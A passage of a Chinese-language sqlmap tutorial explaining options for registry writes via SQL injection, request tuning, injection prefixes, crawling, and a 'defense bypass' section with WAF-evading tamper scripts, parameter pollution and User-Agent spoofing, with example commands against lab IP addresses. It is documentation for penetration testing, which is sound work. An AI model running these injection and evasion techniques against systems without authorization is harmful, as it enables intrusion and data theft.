使用此开关可以删除注册表项。 -
选项: --reg-key
、--reg-value
、--reg-data
和--reg-type
这些选项可用于提供 --reg-read 、 --reg-add 和 --reg-del 正常运行所需的数据。因此,您可以在命令提示符下将它们用作程序参数,而不是在询问时提供注册表项信息。
使用 --reg-key 选项指定使用的Windows注册表项路径,使用 --reg-value 值项名称在提供的项中,使用 --reg-data 值数据,而使用 --reg-type 选项指定值项的类型。
例如:
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r
eg-add --reg-key="HKEY_LOCAL_MACHINESOFTWAREsqlmap" --reg-value=Test --reg-ty
pe=REG_SZ --reg-data=1
优化 ✍️
-
选项: --timeout
超时等待时间,指定在考虑HTTP(S)请求超时之前等待的秒数,默认设置为30秒。
尝试修改等待时间提高速度,或增加等待时间降低频率。
-
选项: --retries
可以指定HTTP(S)连接超时时的最大重试次数。默认情况下,它最多重试三次。
尝试降低次数提高速度,或者多次重试。
-
选项: --randomize
指定参数名称,每次随机修改参数值。长度和类型根据提供的原始值保持不变。
或许可以提高注入成功率
-
开关: --skip-urlencode
关闭参数 url 编码
根据参数的位置(例如GET),默认情况下,其值可以是URL编码的。在某些情况下,后端Web服务器不遵循RFC标准,并要求以原始的非编码形式发送值。在这种情况下使用 --skip-urlencode 。
-
开关: --keep-alive
HTTP保留活动,此开关指示sqlmap使用持久HTTP连接。请注意,此开关与 --proxy 开关不兼容。
-
开关: --null-connection
有一些特殊的HTTP请求类型可以用来检索HTTP响应的大小,而不需要获取HTTP主体。该知识可用于盲注技术,以区分 True 和 False 响应。当提供此开关时,sqlmap将尝试测试和利用两种不同的NULL连接技术:Range 和 HEAD 。如果目标Web服务器支持其中任何一个,那么速度将来自于明显节省的带宽。
请注意,此开关与开关 --text-only 不兼容。
-
选项: --threads
可以指定允许sqlmap执行的最大并发HTTP(S)请求数。这个特性依赖于多线程的概念,并继承了它的优点和缺点。
此特性适用于暴力开关,以及通过任何盲目SQL注入技术获取数据时。对于后一种情况,sqlmap首先在单线程中计算查询输出的长度,然后启动多线程。
出于性能和站点可靠性的原因,最大并发请求数设置为10。
请注意,此选项与交换机 --predict-output 不兼容。
-
开关: --invalid-bignum
在sqlmap需要使原始参数值无效(例如 id=13 )的情况下,它使用经典的否定(例如 id=-13 )。使用此开关,可以强制使用大整数值来实现相同的目标(例如 id=99999999 )。
-
开关: --invalid-logical
在sqlmap需要使原始参数值无效(例如 id=13 )的情况下,它使用经典的否定(例如 id=-13 )。通过这个开关,可以强制使用布尔运算来实现相同的目标(例如 id=13 AND 18=19 )。
-
开关: --invalid-string
在sqlmap需要使原始参数值无效(例如 id=13 )的情况下,它使用经典的否定(例如 id=-13 )。通过这个开关,可以强制使用随机字符串来实现相同的目标(例如 id=akewmc )。
-
选项: --prefix
和--suffix
自定义注入前缀,和注入后缀,
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
-
选项: --level
指定检测级别
--level 1 检测Get和Post
--level 2 检测HTTP Cookie
--level 3 检测User-Agent和Referer
--level 4 检测
--level 5 检测 HOST 头
-
选项: --risk
默认值为1,这对于大多数SQL注入点来说是无害的。
风险值2将基于查询时间的SQL注入测试添加到默认级别,
值3还添加了基于 OR 的SQL注入测试。
在某些情况下,例如在 UPDATE 语句中注入SQL,注入基于 OR 的有效负载可能导致更新表的所有条目,这肯定不是攻击者想要的。
-
页面比较
默认情况下, True 查询与 False 查询的区别(基于布尔的SQL盲注入漏洞背后的粗略概念)是通过将注入的请求页面内容与原始未注入的页面内容进行比较来完成的。这个概念并不总是有效,因为有时页面内容在每次刷新时都会改变,即使没有注入任何东西,例如当页面具有计数器,动态广告横幅或HTML的任何其他部分时,这些部分动态呈现并且可能会及时改变,而不仅仅是用户的输入。
--string 指定原始页面字符串
--regexp 正则指定
--not-string 指定不存在原始页面字符串
--code=200 指定页面状态码,例如 200 用于 True , 401 用于 False
使用HTML标题来区分 True 查询和 False 查询的情况下(例如, Welcome 用于 True , Forbidden 用于 False ),他可以使用开关 --titles 打开基于标题的比较。
在有大量活动内容的情况下(例如脚本,嵌入等)在HTTP响应的主体中,您可以只过滤页面的文本内容(开关 --text-only )。这样,在很多情况下,您可以自动调整检测引擎。
-
选项: --crawl
sqlmap可以通过从目标位置开始收集(爬行)潜在的易受攻击的链接来收集它们。
使用此选项,用户可以设置一个深度(从起始位置的距离),低于该深度,sqlmap将不会进入收集阶段,因为只要有新的链接要访问,该过程就会递归完成。
例如:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
选项 --crawl-exclude
使用此选项,您可以通过提供正则表达式从爬网中排除页面。例如,如果你想跳过路径中包含关键字 logout 的所有页面,你可以使用 --crawl-exclude=logout 。
-
开关: --eta
显示预计时间,例如盲注入。
-
开关: --dependencies
检查依赖项
防御绕过 🦟
-
选项: --delay
可以指定每个HTTP(S)请求之间的秒数。有效值是一个浮点数,例如 0.5 表示半秒。默认情况下,不设置延迟。大量持续测试请求可能会引起防御设备拦截,尝试设置请求延迟降低请求频率。
-
选项: --csrf-token
和--csrf-url
许多网站都采用了令牌形式的反CSRF保护,在每个页面响应期间随机设置隐藏字段值。sqlmap将自动尝试识别和绕过这种保护,但有选项 --csrf-token 和 --csrf-url 可用于进一步微调它。选项 --csrf-token 可用于设置包含随机标记的隐藏值的名称。这在网站为这些字段使用非标准名称的情况下很有用。选项 --csrf-url 可用于从任意URL地址检索令牌值。如果易受攻击的目标URL首先不包含必要的令牌值,但需要从其他位置提取它,这很有用。
-
选项: --dbms
避免活动指纹,可选手动指定数据库
-
选项: --os
默认情况下,当此信息依赖于任何其他提供的开关或选项时,sqlmap会自动检测web应用程序的后端数据库管理系统(底层操作系统)。可选手动指定,不进行探测
目前完全支持的操作系统有:
linux
windows
-
选项: --tamper
指定脚本绕过防御设备
逗号分隔为选项 --tamper 的值(例如 --tamper="between,randomcase" )。
sqlmap --list-tampers 列出所有可用脚本
-
开关: --hpp
HTTP参数污染(HTTP parameter pollution,HPP)是一种绕过WAF/IPS保护机制的方法,对ASP/IIS和ASP.NET/IIS平台特别有效。如果您怀疑目标是此类保护的幕后黑手,则可以尝试使用此开关绕过它。
-
开关: --skip-waf
sqlmap将自动尝试识别后端WAF/IPS保护(如果有),以便用户可以执行适当的步骤(例如,使用带有 --tamper 的篡改脚本)。目前支持大约80种不同的产品(Airlock,Barracuda WAF等)在任何问题的情况下,用户可以通过提供开关 --skip-waf 来禁用整个机制。
-
开关: --mobile
模仿手机访问
Tamper 脚本 😠
使用
sqlmap.py --tamper="模块名.py"
列出所有脚本
sqlmap --list-tampers
脚本列表
apostrophemask.py
将撇号字符替换为其 UTF-8 全角对应字符
apostrophenullencode.py
将撇号字符替换为非法的双 unicode 对应字符
appendnullbyte.py
在有效负载末尾附加编码的 NULL 字节字符
base64encode.py
Base64 给定负载中的所有字符
between.py
将大于运算符 ('>') 替换为 'NOT BETWEEN 0 AND #'
bluecoat.py
将 SQL 语句后的空格字符替换为有效的随机空白字符。然后将字符 = 替换为 LIKE 运算符
chardoubleencode.py
对给定负载中的所有字符进行双 url 编码(不处理已编码的字符)
commalesslimit.py
将“LIMIT M, N”等实例替换为“LIMIT N OFFSET M”
commalessmid.py
将“MID(A, B, C)”等实例替换为“MID(A FROM B FOR C)”
concat2concatws.py
将“CONCAT(A, B)”等实例替换为“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”
charencode.py
对给定负载中的所有字符进行 URL 编码(不处理已编码的字符)
charunicodeencode.py
Unicode-url 对给定负载中的非编码字符进行编码(不处理已编码的字符)。“%u0022”
charunicodeescape.py
Unicode-url 对给定负载中的非编码字符进行编码(不处理已编码的字符)。“u0022”
equaltolike.py
将所有出现的运算符等于 ('=') 替换为运算符 'LIKE'
escapequotes.py
斜杠转义引号(' 和 ")
greatest.py
将大于运算符 ('>') 替换为 'GREATEST' 对应项
halfversionedmorekeywords.py
在每个关键字之前添加版本化 MySQL 注释
ifnull2ifisnull.py
将“IFNULL(A, B)”等实例替换为“IF(ISNULL(A), B, A)”
modsecurityversioned.py
包含带有版本化注释的完整查询
modsecurityzeroversioned.py
使用零版本注释包含完整的查询
multiplespaces.py
在 SQL 关键字周围添加多个空格
nonrecursivereplacement.py
将预定义的 SQL 关键字替换为适合替换的表示形式(例如 .replace("SELECT", ""))过滤器
percentage.py
在每个字符前面添加百分号 ('%')
overlongutf8.py
转换给定有效负载中的所有字符(不处理已编码的字符)
randomcase.py
用随机大小写值替换每个关键字字符
randomcomments.py
为 SQL 关键字添加随机注释
securesphere.py
附加特殊制作的字符串
sp_password.py
将“sp_password”附加到有效负载的末尾,以自动混淆 DBMS 日志
space2comment.py
用注释替换空格字符 (' ')
space2dash.py
将空格字符 (' ') 替换为破折号注释 ('--'),后跟随机字符串和新行 ('n')
space2hash.py
将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('n')
space2morehash.py
将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('n')
space2mssqlblank.py
将空格字符 (' ') 替换为有效替代字符集中的随机空白字符
space2mssqlhash.py
将空格字符 (' ') 替换为井号字符 ('#'),后跟换行符 ('n')
space2mysqlblank.py
将空格字符 (' ') 替换为有效替代字符集中的随机空白字符
space2mysqldash.py
将空格字符 (' ') 替换为破折号注释 ('--'),后跟新行 ('n')
space2plus.py
将空格字符 (' ') 替换为加号 ('+')
space2randomblank.py
将空格字符 (' ') 替换为有效替代字符集中的随机空白字符
symboliclogical.py
将 AND 和 OR 逻辑运算符替换为其对应的符号运算符(&& 和
unionalltounion.py
将 UNION ALL SELECT 替换为 UNION SELECT
unmagicquotes.py
将引号字符 (') 替换为多字节组合 %bf%27 以及末尾的通用注释(以使其正常工作)
uppercase.py
将每个关键字字符替换为大写值“INSERT”
varnish.py
附加 HTTP 标头“X-originating-IP”
versionedkeywords.py
用版本化的 MySQL 注释括住每个非函数关键字
versionedmorekeywords.py
用版本化的 MySQL 注释括住每个关键字
xforwardedfor.py
附加假 HTTP 标头“X-Forwarded-For”
特征去除 💢
-
选项和开关: --user-agent
和--random-agent
默认情况下,sqlmap执行具有以下 User-Agent 头值的HTTP请求:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
使用以上选项自定义或者随机 user-agent 的头值
插件 👣
-
https://github.com/m4ll0k/Atlas sqlmap 篡改绕过 WAF/IDS/IPS -
https://github.com/codewatchorg/sqlipy burpsuite 的 sqlmap 插件 -
https://metasploit.com/ metasploit 框架,sqlmap 依赖于 Metasploit 框架来实现其一些利用后接管功能 -
https://github.com/fortra/impacket ,对于带外接管技术,sqlmap 也需要 Impacket 库。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论